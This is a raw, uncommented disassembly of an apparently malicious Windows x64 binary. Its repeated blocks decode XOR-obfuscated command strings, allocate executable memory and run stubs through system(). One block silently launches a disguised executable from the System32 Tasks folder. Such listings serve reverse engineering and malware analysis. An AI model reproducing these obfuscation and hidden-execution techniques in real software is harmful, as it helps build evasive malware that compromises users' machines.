mov qword [r15 + rax*8 + 0x245c80], r13
mov qword [r15 + rax*8 + 0x245960], r8
inc rax
mov qword [0x140245950], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x128]
mov qword [rax], rbx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x1400453e5
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400453e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400453e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14004542f
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004542a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004542a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [0x140157018]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x140157028]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x140157038]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x140157048]
movsd qword [rbp - 0x48], xmm0
mov r8d, r12d
cmp esi, 2
jl 0x14004557d
mov edx, r12d
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov r8d, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140045490
jmp 0x1400455aa
lea r9, [rbp - 0x78]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140045581
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x1400455c6
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x128]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rcx], r12
mov ecx, r12d
mov rax, qword [0x140245c80]
test rax, rax
je 0x140045639
mov rdx, r12
nop word [rax + rax]
cmp rax, r13
je 0x140045628
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x245c80]
test rax, rax
jne 0x140045610
jmp 0x140045639
mov r8, qword [r15 + rdx*8 + 0x245960]
test r8, r8
jne 0x14004571f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140045662
mov r8, r12
jmp 0x1400456fe
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140045670
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245950]
mov qword [r15 + rax*8 + 0x245c80], r13
mov qword [r15 + rax*8 + 0x245960], r8
inc rax
mov qword [0x140245950], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x128]
mov qword [rax], rbx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140045785
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045780
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045780
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400457cf
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400457ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400457ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [0x140157100]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x140157110]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x140157120]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x140157130]
movsd qword [rbp - 0x48], xmm0
mov r8d, r12d
cmp esi, 2
jl 0x14004591d
mov edx, r12d
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov r8d, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140045830
jmp 0x14004594a
lea r9, [rbp - 0x78]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140045921
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140045966
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x128]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rcx], r12
mov ecx, r12d
mov rax, qword [0x140245c80]
test rax, rax
je 0x1400459d9
mov rdx, r12
nop word [rax + rax]
cmp rax, r13
je 0x1400459c8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x245c80]
test rax, rax
jne 0x1400459b0
jmp 0x1400459d9
mov r8, qword [r15 + rdx*8 + 0x245960]
test r8, r8
jne 0x140045abf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140045a02
mov r8, r12
jmp 0x140045a9e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140045a10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245950]
mov qword [r15 + rax*8 + 0x245c80], r13
mov qword [r15 + rax*8 + 0x245960], r8
inc rax
mov qword [0x140245950], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x128]
mov qword [rax], rbx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140045b25
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045b20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045b20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140045b6f
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045b6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045b6a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, str.cmd__C_C:WindowsSystem32Taskswinxsrcsv64.EXE__SU_AUTO__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [0x140157050]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x140157060]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x140157070]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x140157080]
movsd qword [rbp - 0x48], xmm0
mov r8d, r12d
cmp esi, 2
jl 0x140045ccd
mov edx, r12d
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov r8d, dword [rbp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140045be0
jmp 0x140045cfa
lea r9, [rbp - 0x78]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140045cd1
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140045d16
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x128]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rcx], r12
mov ecx, r12d
mov rax, qword [0x140245c80]
test rax, rax
je 0x140045d89
mov rdx, r12
nop word [rax + rax]
cmp rax, r13
je 0x140045d78
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x245c80]
test rax, rax
jne 0x140045d60
jmp 0x140045d89
mov r8, qword [r15 + rdx*8 + 0x245960]
test r8, r8
jne 0x140045e6f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140045db2
mov r8, r12
jmp 0x140045e4e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140045dc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245950]
mov qword [r15 + rax*8 + 0x245c80], r13
mov qword [r15 + rax*8 + 0x245960], r8
inc rax
mov qword [0x140245950], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x128]
mov qword [rax], rbx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140045ed5
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045ed0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045ed0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140045f1f
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045f1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045f1a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [0x140157338]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x140157348]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x140157358]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x140157368]
movsd qword [rbp - 0x48], xmm0
mov r8d, r12d
cmp esi, 2
jl 0x14004606d
mov edx, r12d
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov r8d, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140045f80
jmp 0x14004609a
lea r9, [rbp - 0x78]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140046071
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x1400460b6
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x128]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rcx], r12
mov ecx, r12d
mov rax, qword [0x140245c80]
test rax, rax
je 0x140046129
mov rdx, r12
nop word [rax + rax]
cmp rax, r13
je 0x140046118
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x245c80]
test rax, rax
jne 0x140046100
jmp 0x140046129
mov r8, qword [r15 + rdx*8 + 0x245960]
test r8, r8
jne 0x14004620f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140046152
mov r8, r12
jmp 0x1400461ee
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140046160
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245950]
mov qword [r15 + rax*8 + 0x245c80], r13
mov qword [r15 + rax*8 + 0x245960], r8
inc rax
mov qword [0x140245950], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x128]
mov qword [rax], rbx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140046275
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046270
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046270
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400462bf
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400462ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400462ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [0x140157170]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x140157180]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x140157190]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x1401571a0]
movsd qword [rbp - 0x48], xmm0
mov r8d, r12d
cmp esi, 2
jl 0x14004640d
mov edx, r12d
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov r8d, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140046320
jmp 0x14004643a
lea r9, [rbp - 0x78]
mov eax, 0x8d3dcb09
mul r8d
